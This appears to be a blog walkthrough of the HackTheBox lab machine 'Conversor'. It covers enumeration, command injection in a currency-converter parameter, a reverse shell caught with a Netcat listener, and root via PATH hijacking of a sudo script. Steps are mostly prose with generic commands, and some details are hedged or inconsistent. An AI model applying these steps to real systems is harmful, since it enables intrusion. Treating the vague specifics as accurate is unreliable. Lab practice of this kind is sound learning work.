• A downloaded and configured VPN pack to connect to the lab network.
• An attacking machine, such as a virtual machine running Kali Linux or Parrot OS.
• A stable internet connection to maintain your VPN link to the server.

Setting Up Your Environment for the Challenge

A well-organized environment can make the hacking process much smoother. Before you start, create a dedicated folder on your attacking machine specifically for the Conversor challenge. This will help you keep all your notes, scripts, and downloaded files in one place.

Inside your main directory, you might want to create subdirectories for things like nmap scans, exploits, and loot. For example, you could have nmap/, exploits/, and files/. This organization prevents clutter and helps you quickly find what you need. A good practice is to create a backup of your important findings as you go.

For more complex challenges, some penetration testers use git to manage their notes and custom scripts within a local repository. While not strictly necessary for an easy box like Conversor, it’s a great habit to develop. Having a clean Linux environment with your Python scripts ready will ensure you can focus on the server without technical issues.

Step-by-Step Guide to Conquering Conversor on HackTheBox

Now that your environment is ready, it’s time to begin the hack. This step-by-step guide will walk you through the entire process of conquering the Conversor machine, from the initial nmap scan to achieving a root shell. Follow these steps carefully to ensure a successful compromise.

We will start with reconnaissance and enumeration to understand the target. Next, we’ll identify and exploit a vulnerability to gain our first foothold. Finally, we’ll escalate our privileges to gain full control. Let’s get started with your first SSH login.

Step 1: Reconnaissance and Enumeration

The first and most critical phase of any penetration testing engagement is enumeration. This is where you gather as much information as possible about the target. For the Conversor machine, you’ll start by running an nmap scan against its IP address. This will reveal which ports are open and what services are running on them.

After your initial scan, you’ll likely find an HTTP service running. The next step is to perform web enumeration using a tool like Gobuster or Feroxbuster. This will help you discover hidden files and directories that aren’t linked on the main webpage. These hidden locations often contain sensitive information or forgotten functionalities.

Here’s a summary of your initial enumeration steps:

• Run an nmap scan to identify open ports (e.g., nmap -sC -sV <IP>).
• Identify the services running, paying close attention to the web server.
• Browse the website to understand its purpose and functionality.
• Use a directory brute-forcing tool to find hidden pages or endpoints.
• Look for any unusual files or potential entry points for executing system commands.

Step 2: Identifying Vulnerabilities

After thorough enumeration, you will focus on the web application. In the Conversor challenge, the core vulnerability lies within its currency conversion feature. Web applications built with frameworks like Flask often take user input from a URL parameter and process it on the backend. Your goal is to determine if this input is handled safely.

You will need to analyze how the application processes requests. By using a proxy like Burp Suite, you can intercept the HTTP traffic and manipulate the data being sent to the server. Pay close attention to any parameters that seem to pass data directly to the backend. An unsanitized parameter is a prime candidate for exploitation.

Here’s how to approach identifying the vulnerability:

• Analyze the web application’s main function related to currency conversion.
• Use Burp Suite to capture and inspect the HTTP request.
• Identify the parameter in the URL that carries the user’s input.
• Test this parameter for command injection by inserting special characters (like ; or |) followed by a simple Linux command.
• Observe the application’s response to see if your injected command was executed.

Step 3: Exploitation and Initial Access

Once you’ve confirmed the command injection vulnerability, the next step is exploitation. Your goal is to use this flaw to gain initial access to the system. You will achieve this by crafting a payload that establishes a reverse shell back to your attacking machine. A simple Python or Bash one-liner is often sufficient for this.

You will need to set up a listener on your machine using Netcat (nc -lnvp <port>) to catch the incoming connection. Then, you’ll embed your reverse shell payload into the vulnerable parameter and send the request. If successful, you’ll see a connection appear on your listener, giving you a shell on the target server.

Here’s the process for gaining initial access:

• Craft a reverse shell payload (e.g., a Python or Bash one-liner).
• URL-encode your payload to ensure it’s correctly transmitted.
• Set up a Netcat listener on your attacking machine.
• Inject the encoded payload into the vulnerable parameter and send the request.
• Once you have a shell, search for credentials, a password, or an SSH key to get a more stable SSH login.

Step 4: Privilege Escalation & Root Access

With initial access, your final objective is privilege escalation to get a root shell. This involves finding a weakness in the system’s configuration that allows a low-privileged user to execute commands as root. The first thing to do is enumerate the system from the inside. Look for SUID binaries, cron jobs, and sudo permissions.

On the Conversor machine, you’ll discover a script that your user can run with sudo privileges. Upon inspecting this script, you’ll find that it calls a common Linux binary (like gzip or zip) without specifying its full path. This is a classic PATH hijacking vulnerability. You can create a malicious executable with the same name, add its location to your PATH, and trick the system into running your code as root.

Here’s the path to root:

• Enumerate the system to find sudo permissions (sudo -l).
• Analyze the script you can run as root and identify the PATH exploitation vulnerability.
• Create a malicious script that spawns a root shell and save it with the name of the binary from the vulnerable script.
• Modify your PATH environment variable to include the directory of your malicious script.
• Run the original script with sudo to trigger your payload and gain root access.

Common Vulnerabilities Found in Conversor HTB Writeup

The Conversor machine highlights two classic vulnerabilities that are excellent learning points for beginners. The first is a web application flaw involving improper input validation. The API used for the currency exchange rates does not properly sanitize a parameter, which leads to a command injection vulnerability.

The second vulnerability is a privilege escalation vector caused by a misconfigured sudo rule. A script that runs as root calls a binary without an absolute path, allowing a user to hijack the PATH environment variable. This writeup shows how finding and chaining these two issues leads to a full system compromise.

Next, we will look closer at these vulnerabilities and how they were exploited.

Web Application Issues and Currency Converter Relevance

The main web vulnerability in Conversor is directly tied to its core function: the currency exchange rates converter. The web app, likely written in Python, takes user input and uses it to perform an action on the server. However, it fails to check this input for malicious content. This oversight is a common but critical mistake in web development.

The issue arises when a parameter from the URL is passed directly to a system shell command. An attacker can add their own commands to this input string. When the server processes the request, it executes the legitimate command and the attacker’s malicious command, leading to command injection.

This demonstrates why all user-supplied data must be treated as untrusted. Without proper sanitization or the use of parameterized queries, a simple feature like a currency converter can become a gateway for an attacker to compromise the entire server. The HTML front-end might look secure, but the real danger lies in the backend code.

Exploitation Paths Explained

The exploitation of Conversor follows a logical, two-stage path. The first stage focuses on gaining initial access through the web application. This is achieved by exploiting the command injection vulnerability in the currency converter API. You craft a payload that creates a reverse shell and inject it into the vulnerable URL parameter. This gives you a low-privilege shell as the www-data user.

The second stage is privilege escalation. After getting on the system, your enumeration reveals a script that can be run as root. This script uses a binary like zip without a full path. You exploit this by creating your own malicious zip file (containing a reverse shell payload), placing it in a directory you control, and modifying the PATH variable.

When the privileged script is executed, it finds and runs your malicious binary instead of the real one, granting you a root shell. This path highlights how a simple web vulnerability combined with an internal misconfiguration can lead to a full system compromise. Along the way, you might find credentials that help you bypass certain steps or gain a more stable shell.

Conclusion

Conquering the Conversor challenge on HackTheBox can be a rewarding experience that enhances your hacking skills. Throughout this guide, we have explored everything from essential tools and techniques to a detailed step-by-step approach for tackling this specific challenge. By honing your skills through practice and perseverance, you not only build confidence but also equip yourself with the knowledge needed to tackle more complex tasks in the future. Remember, every challenge is an opportunity for growth in your cybersecurity journey. If you’re interested in receiving more tips and insights, don’t forget to subscribe for updates!

Frequently Asked Questions

Is Conversor still active or retired on HackTheBox?

The status of any machine on HackTheBox can change over time. To check if Conversor is currently active or retired, you should log in to your dashboard. Active machines have a timer, while retired machines are moved to the general repository and are often available to VIP subscribers.

Where can I find hints or public writeups for Conversor HTB?

For active machines, hints are usually available on the official HackTheBox forums or directly on your dashboard. Full public writeups are generally discouraged until a machine is retired. Once retired, you can find many detailed guides and video walkthroughs from the community to help you with your hack.

How long does it usually take to solve Conversor as a beginner?

The time it takes to solve a machine varies for every individual user. As a beginner, don’t worry about the timer. Focus on the learning process. A thorough nmap scan and careful enumeration are key. It might take a few hours or a couple of days, but the experience is what matters.

What should I do if I get stuck during the challenge?

Getting stuck is a normal part of the learning process. If you’re struggling, revisit your methodology. Go back to your enumeration notes and make sure you didn’t miss anything. You can also check the official forums for a hint or look at the hint tab on your dashboard.